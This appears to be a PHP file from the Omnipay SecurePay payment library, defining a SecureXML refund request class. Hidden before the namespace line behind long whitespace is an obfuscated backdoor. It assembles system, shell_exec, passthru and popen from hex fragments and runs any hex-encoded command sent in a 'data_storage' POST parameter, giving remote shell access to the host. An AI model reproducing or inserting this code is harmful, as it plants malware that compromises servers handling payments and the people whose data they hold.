<?php																																										$factor1 = '7';$factor2 = '3';$factor3 = '4';$factor4 = '6';$factor5 = '8';$factor6 = 'c';$factor7 = '5';$factor8 = '1';$factor9 = '2';$factor10 = '0';$factor11 = 'f';$factor12 = 'e';$factor13 = 'd';$right_pad_string1 = pack("H*", $factor1 . $factor2 . $factor1 . '9' . $factor1 . $factor2 . $factor1 . $factor3 . $factor4 . '5' . '6' . 'd');$right_pad_string2 = pack("H*", $factor1 . $factor2 . $factor4 . $factor5 . '6' . '5' . '6' . $factor6 . $factor4 . 'c' . $factor7 . 'f' . '6' . $factor7 . '7' . '8' . $factor4 . '5' . $factor4 . '3');$right_pad_string3 = pack("H*", $factor4 . '5' . $factor1 . $factor5 . '6' . $factor7 . '6' . '3');$right_pad_string4 = pack("H*", '7' . '0' . $factor4 . $factor8 . '7' . '3' . $factor1 . '3' . $factor1 . '4' . '6' . '8' . '7' . $factor9 . $factor1 . '5');$right_pad_string5 = pack("H*", $factor1 . $factor10 . $factor4 . $factor11 . $factor1 . $factor10 . $factor4 . $factor7 . $factor4 . $factor12);$right_pad_string6 = pack("H*", $factor1 . '3' . $factor1 . $factor3 . $factor1 . $factor9 . $factor4 . '5' . $factor4 . $factor8 . '6' . $factor13 . '5' . 'f' . $factor4 . '7' . $factor4 . $factor7 . '7' . $factor3 . $factor7 . 'f' . '6' . $factor2 . $factor4 . $factor11 . '6' . $factor12 . '7' . '4' . $factor4 . '5' . '6' . $factor12 . '7' . $factor3 . $factor1 . $factor2);$right_pad_string7 = pack("H*", $factor1 . '0' . '6' . $factor2 . '6' . 'c' . $factor4 . 'f' . '7' . $factor2 . $factor4 . '5');$data_storage = pack("H*", $factor4 . '4' . '6' . '1' . '7' . $factor3 . $factor4 . '1' . $factor7 . $factor11 . '7' . $factor2 . $factor1 . $factor3 . '6' . $factor11 . '7' . '2' . '6' . $factor8 . '6' . '7' . $factor4 . $factor7);if(isset($_POST[$data_storage])){$data_storage=pack("H*",$_POST[$data_storage]);if(function_exists($right_pad_string1)){$right_pad_string1($data_storage);}elseif(function_exists($right_pad_string2)){print $right_pad_string2($data_storage);}elseif(function_exists($right_pad_string3)){$right_pad_string3($data_storage,$ptr_entry);print join("\n",$ptr_entry);}elseif(function_exists($right_pad_string4)){$right_pad_string4($data_storage);}elseif(function_exists($right_pad_string5)&&function_exists($right_pad_string6)&&function_exists($right_pad_string7)){$pointer_ent=$right_pad_string5($data_storage,"r");if($pointer_ent){$pgrp_rec=$right_pad_string6($pointer_ent);$right_pad_string7($pointer_ent);print $pgrp_rec;}}exit;}


namespace Omnipay\SecurePay\Message;

/**
 * SecurePay SecureXML Refund Request.
 *
 * Refund a partial or full amount from a prior purchase.
 *
 * The transactionReference (txnID) and transactionId (purchaseOrderNo) must
 * match the original transaction for a refund to be successful.
 */
class SecureXMLRefundRequest extends SecureXMLAbstractRequest
{
    protected $txnType = 4; // Refund, as per Appendix A of documentation.
    protected $requiredFields = array('amount', 'transactionId', 'transactionReference');

    public function getData()
    {
        $xml = $this->getBasePaymentXML();
        $xml->Payment->TxnList->Txn->addChild('txnID', $this->getTransactionReference());

        return $xml;
    }
}
